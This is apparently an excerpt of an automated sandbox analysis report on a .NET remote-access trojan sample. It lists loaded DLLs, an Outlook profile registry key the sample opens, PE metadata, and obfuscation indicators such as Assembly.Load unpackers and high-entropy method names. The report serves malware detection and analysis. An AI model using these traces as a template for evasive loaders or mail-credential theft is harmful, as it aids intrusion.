Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: fastprox.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ncobjapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mpclient.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wmitomi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: gpapi.dll	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: PHCd.pdbSHA256 source: SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe
Source:	Binary string: PHCd.pdb source: SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe

Data Obfuscation

.NET source code contains potential unpacker

Source: SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, frmMain.cs	.Net Code: InitializeComponent System.Reflection.Assembly.Load(byte[])
Source: 0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.6780000.7.raw.unpack, lXmeKmPdTaDsuhOP4M.cs	.Net Code: yj6dS9kw0f System.Reflection.Assembly.Load(byte[])
Source: 0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.39b61d0.3.raw.unpack, lXmeKmPdTaDsuhOP4M.cs	.Net Code: yj6dS9kw0f System.Reflection.Assembly.Load(byte[])
Source: 0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.5180000.5.raw.unpack, -.cs	.Net Code: _0001 System.Reflection.Assembly.Load(byte[])
Source: 0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.5180000.5.raw.unpack, PingPong.cs	.Net Code: Justy
Source: 0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.26c7c54.0.raw.unpack, -.cs	.Net Code: _0001 System.Reflection.Assembly.Load(byte[])
Source: 0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.26c7c54.0.raw.unpack, PingPong.cs	.Net Code: Justy
Source: 0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.3a17df0.1.raw.unpack, lXmeKmPdTaDsuhOP4M.cs	.Net Code: yj6dS9kw0f System.Reflection.Assembly.Load(byte[])

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Code function: 0_2_0267E130 push 08418B02h; ret	0_2_0267E143
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Code function: 0_2_0267E841 push 14418B02h; ret	0_2_0267E853
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Code function: 0_2_0267D238 push eax; iretd	0_2_0267D241
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Code function: 0_2_0267F090 push 1C418B02h; ret	0_2_0267F0A3
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Code function: 0_2_0267F421 push 20418B02h; ret	0_2_0267F413
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Code function: 0_2_0267DC20 push 08518902h; ret	0_2_0267DC33
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Code function: 0_2_06ADDC56 push es; ret	0_2_06ADDC58
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Code function: 4_2_05641BE8 push eax; retf	4_2_05641BE9

Source: SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe

Static PE information: section name: .text entropy: 7.977489549607041

Source: 0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.6780000.7.raw.unpack, Ak4oG7NYOwJL1B3Iuo.cs	High entropy of concatenated method names: 'Dispose', 'F0rhvYhSpS', 'BZKtaTFUoY', 'aBbCCwJkeg', 'gaih2xC1jV', 'KYjhzvxbsW', 'ProcessDialogKey', 'jPEteJWMNK', 'O0xthrh3OH', 'FcFttJXbhu'
Source: 0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.6780000.7.raw.unpack, Pwpj4xKLD3kV8kZye0j.cs	High entropy of concatenated method names: 'wPEWE6SbMT', 'uslWkxkB0r', 'hSrWSOUoa6', 'n4RW0nGPLj', 'vEUWbygdqZ', 'JSbWNHoIBn', 'Vy6WG9wceE', 'iHNWFShdT1', 'B9GW7ktRSW', 'BhZWT5TsKe'
Source: 0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.6780000.7.raw.unpack, QQKot902G4vU2soPiv.cs	High entropy of concatenated method names: 'Y9swFsy4uZ', 'WDWw73mMZv', 'oq4wyHojME', 'FL5wahq1uZ', 'nUwwqJfBR9', 'hkywr3sQQX', 'Maow59y7b6', 'JpAwVEjvUK', 'yGaw6emi4y', 'AdywAVICE5'
Source: 0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.6780000.7.raw.unpack, fVqBTE5GN24nXcJ2Na.cs	High entropy of concatenated method names: 'xmASv280U', 'Go40xB6Eh', 'EatNV6xUT', 'P2eGCEIcM', 'V9u79rU6F', 'r4KTM83qT', 'FgTiQiV2Ra2jAuMHGR', 'wDlSUsfffMW8lcUk99', 'O89xwP1pt', 'ahagBfkN3'
Source: 0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.6780000.7.raw.unpack, lXmeKmPdTaDsuhOP4M.cs	High entropy of concatenated method names: 'SwnYDvtalp', 'NIEYItfRNB', 'OUcYf5LTs7', 'GcCYO0Ll1i', 'u1PYnyDgOU', 'fyAYMbGDj5', 'XUNYUuS1iB', 'gnLYujx09I', 'EqkY3HZssa', 'YCpYP4PLt2'
Source: 0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.6780000.7.raw.unpack, LKGBl8HqPCBQXSKmTW.cs	High entropy of concatenated method names: 'FLC84FNOEw', 'iTJ82C93XZ', 'Ac8xeevVgg', 'cJVxh6qQvh', 'oRi8A1xxHV', 'mNw8KivQDA', 'zfn8Hgr5oo', 'XFJ8ixbuFp', 'uOf8X1vZxd', 'tBy8ZwbirW'
Source: 0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.6780000.7.raw.unpack, Q534henmWuNmoyahwo.cs	High entropy of concatenated method names: 'pufj6qFkDU', 'lZwjKEp5ug', 'CGUjiJO4yv', 'hNhjX6kGuL', 'wSCjavQyKK', 'IA9jJF0BT2', 'pshjqDZbdN', 'BjGjrU7E6Q', 'Px9jsrivpa', 'f1Lj534ylg'
Source: 0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.6780000.7.raw.unpack, bbPsGWxoYJLfpZBGIC.cs	High entropy of concatenated method names: 'm3fhUgYigO', 'btrhuvIqGx', 'mblhPuJtfn', 'giEhR2mI9O', 'A9XhjvrGJj', 'bljhouHeJQ', 'qFingUkohEIInRpeg4', 'WFTHoj6j8DU2oagbWC', 'sDlhhA2ptG', 'WxphY5Hl8L'
Source: 0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.6780000.7.raw.unpack, YGEM2bi6LyVcTr1Cyx.cs	High entropy of concatenated method names: 'oI4UIZ19Pk', 'TLUUOhxHAD', 'wFKUMpAEgc', 'ymHM2bSSI7', 'YRpMzowZSw', 'OMSUe9f5pW', 'YwcUhMEyrw', 'CtIUtlwO7T', 'rjRUYP2gLQ', 'Ei1Udf8VUY'
Source: 0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.6780000.7.raw.unpack, Se7yaxeobBMdUHx8Vi.cs	High entropy of concatenated method names: 'xlsfiruKIW', 'otofXgSOfo', 'MSefZjtCdT', 'l5VfcUHHVe', 'KqrfQHKqxe', 'vckfLKfQdl', 'h9rfmefTR8', 'ABVf4ofSFW', 'EIgfvXKmnO', 'xISf2C0jWG'
Source: 0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.6780000.7.raw.unpack, kdj6WvMI01nxVHVla4.cs	High entropy of concatenated method names: 'CaKO0Wpvww', 'G3iONL7mng', 'FhDOF2hJFU', 'kedO7DK5YY', 'VZZOji9Axe', 'uKOOo2T4nq', 'gETO8YeqCV', 'HYtOxjopyH', 'iq3OWTLGeg', 'pCKOgrlCLk'
Source: 0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.6780000.7.raw.unpack, zXnonSyflm4XEq4w2O.cs	High entropy of concatenated method names: 'dGPUEpH5oP', 'cGCUkL7MB2', 'pQjUSkQNcC', 'PdWU0vhcPd', 'WtXUbcogrh', 'gjDUNPRFBX', 'i46UGKe2i6', 'ckoUFUKZy4', 'vUgU7h5cbo', 'UGpUTkjotR'
Source: 0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.6780000.7.raw.unpack, EH2RCFfeaNraoXmPh4.cs	High entropy of concatenated method names: 'WXJxyC4fCR', 'DKdxaMmPhp', 'CY8xJYd0Hy', 'oJXxq0j0Ul', 'd5UxigqD5R', 'irWxrwtYeK', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.6780000.7.raw.unpack, SWsSDUtWUdrnebBMgx.cs	High entropy of concatenated method names: 'lD3Whn0Z1F', 'aspWYDoNO2', 'GX0WduC6Ll', 'IiNWIKeBNx', 'FHfWfv6pcS', 'VPUWn9Q7Pk', 'ahTWMAbqTB', 's4nxmcUmE8', 'YJIx4w0xnH', 'UwOxvS9TaP'
Source: 0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.6780000.7.raw.unpack, VAFL6yzLyY66jhx7II.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'sGkWwZ9arc', 'G1YWjmyMK8', 'kKAWo1IBMc', 'cvMW8wpQR6', 'VJYWxyr4NC', 'sqEWWMu0HG', 'v41Wg8bRgB'
Source: 0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.6780000.7.raw.unpack, GCbAElUGA7WyejW7Zv.cs	High entropy of concatenated method names: 'JafxIOnthq', 'JINxffbKro', 'KAuxOylFs1', 'uxWxnLC7WT', 'knbxM2iXXI', 'ha3xUls2WJ', 'XP0xu6VMLr', 'bxbx3SFssf', 'IejxP2pdKP', 'JFAxRIYVxq'
Source: 0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.6780000.7.raw.unpack, KsKTQfhbw7oCRIK4yb.cs	High entropy of concatenated method names: 'ioT8PxqKy7', 'LVf8RWoy9H', 'ToString', 'wk48I9gA0l', 'Tpq8f9eKLb', 'T6g8O1oplt', 'ygL8neeNHs', 'UXv8MsyTtu', 'Yuc8UtPYoa', 'hyD8uKIIdk'
Source: 0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.6780000.7.raw.unpack, OrhtwbropZ5iQ0Knjf.cs	High entropy of concatenated method names: 'CAZMDJm2RU', 'pspMfoEE2O', 'x4LMnQS8in', 'gKKMU4ga3E', 'jHPMuRRmig', 'U06nQrojBJ', 'XEqnLBEXa3', 'Lrwnm8Mc8Q', 'E29n46N3U4', 'SXtnvTiVGP'
Source: 0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.39b61d0.3.raw.unpack, Ak4oG7NYOwJL1B3Iuo.cs	High entropy of concatenated method names: 'Dispose', 'F0rhvYhSpS', 'BZKtaTFUoY', 'aBbCCwJkeg', 'gaih2xC1jV', 'KYjhzvxbsW', 'ProcessDialogKey', 'jPEteJWMNK', 'O0xthrh3OH', 'FcFttJXbhu'
Source: 0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.39b61d0.3.raw.unpack, Pwpj4xKLD3kV8kZye0j.cs	High entropy of concatenated method names: 'wPEWE6SbMT', 'uslWkxkB0r', 'hSrWSOUoa6', 'n4RW0nGPLj', 'vEUWbygdqZ', 'JSbWNHoIBn', 'Vy6WG9wceE', 'iHNWFShdT1', 'B9GW7ktRSW', 'BhZWT5TsKe'
Source: 0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.39b61d0.3.raw.unpack, QQKot902G4vU2soPiv.cs	High entropy of concatenated method names: 'Y9swFsy4uZ', 'WDWw73mMZv', 'oq4wyHojME', 'FL5wahq1uZ', 'nUwwqJfBR9', 'hkywr3sQQX', 'Maow59y7b6', 'JpAwVEjvUK', 'yGaw6emi4y', 'AdywAVICE5'
Source: 0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.39b61d0.3.raw.unpack, fVqBTE5GN24nXcJ2Na.cs	High entropy of concatenated method names: 'xmASv280U', 'Go40xB6Eh', 'EatNV6xUT', 'P2eGCEIcM', 'V9u79rU6F', 'r4KTM83qT', 'FgTiQiV2Ra2jAuMHGR', 'wDlSUsfffMW8lcUk99', 'O89xwP1pt', 'ahagBfkN3'
Source: 0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.39b61d0.3.raw.unpack, lXmeKmPdTaDsuhOP4M.cs	High entropy of concatenated method names: 'SwnYDvtalp', 'NIEYItfRNB', 'OUcYf5LTs7', 'GcCYO0Ll1i', 'u1PYnyDgOU', 'fyAYMbGDj5', 'XUNYUuS1iB', 'gnLYujx09I', 'EqkY3HZssa', 'YCpYP4PLt2'
Source: 0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.39b61d0.3.raw.unpack, LKGBl8HqPCBQXSKmTW.cs	High entropy of concatenated method names: 'FLC84FNOEw', 'iTJ82C93XZ', 'Ac8xeevVgg', 'cJVxh6qQvh', 'oRi8A1xxHV', 'mNw8KivQDA', 'zfn8Hgr5oo', 'XFJ8ixbuFp', 'uOf8X1vZxd', 'tBy8ZwbirW'
Source: 0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.39b61d0.3.raw.unpack, Q534henmWuNmoyahwo.cs	High entropy of concatenated method names: 'pufj6qFkDU', 'lZwjKEp5ug', 'CGUjiJO4yv', 'hNhjX6kGuL', 'wSCjavQyKK', 'IA9jJF0BT2', 'pshjqDZbdN', 'BjGjrU7E6Q', 'Px9jsrivpa', 'f1Lj534ylg'
Source: 0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.39b61d0.3.raw.unpack, bbPsGWxoYJLfpZBGIC.cs	High entropy of concatenated method names: 'm3fhUgYigO', 'btrhuvIqGx', 'mblhPuJtfn', 'giEhR2mI9O', 'A9XhjvrGJj', 'bljhouHeJQ', 'qFingUkohEIInRpeg4', 'WFTHoj6j8DU2oagbWC', 'sDlhhA2ptG', 'WxphY5Hl8L'
Source: 0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.39b61d0.3.raw.unpack, YGEM2bi6LyVcTr1Cyx.cs	High entropy of concatenated method names: 'oI4UIZ19Pk', 'TLUUOhxHAD', 'wFKUMpAEgc', 'ymHM2bSSI7', 'YRpMzowZSw', 'OMSUe9f5pW', 'YwcUhMEyrw', 'CtIUtlwO7T', 'rjRUYP2gLQ', 'Ei1Udf8VUY'
Source: 0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.39b61d0.3.raw.unpack, Se7yaxeobBMdUHx8Vi.cs	High entropy of concatenated method names: 'xlsfiruKIW', 'otofXgSOfo', 'MSefZjtCdT', 'l5VfcUHHVe', 'KqrfQHKqxe', 'vckfLKfQdl', 'h9rfmefTR8', 'ABVf4ofSFW', 'EIgfvXKmnO', 'xISf2C0jWG'
Source: 0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.39b61d0.3.raw.unpack, kdj6WvMI01nxVHVla4.cs	High entropy of concatenated method names: 'CaKO0Wpvww', 'G3iONL7mng', 'FhDOF2hJFU', 'kedO7DK5YY', 'VZZOji9Axe', 'uKOOo2T4nq', 'gETO8YeqCV', 'HYtOxjopyH', 'iq3OWTLGeg', 'pCKOgrlCLk'
Source: 0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.39b61d0.3.raw.unpack, zXnonSyflm4XEq4w2O.cs	High entropy of concatenated method names: 'dGPUEpH5oP', 'cGCUkL7MB2', 'pQjUSkQNcC', 'PdWU0vhcPd', 'WtXUbcogrh', 'gjDUNPRFBX', 'i46UGKe2i6', 'ckoUFUKZy4', 'vUgU7h5cbo', 'UGpUTkjotR'
Source: 0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.39b61d0.3.raw.unpack, EH2RCFfeaNraoXmPh4.cs	High entropy of concatenated method names: 'WXJxyC4fCR', 'DKdxaMmPhp', 'CY8xJYd0Hy', 'oJXxq0j0Ul', 'd5UxigqD5R', 'irWxrwtYeK', 'Next', 'Next', 'Next', 'NextBytes'
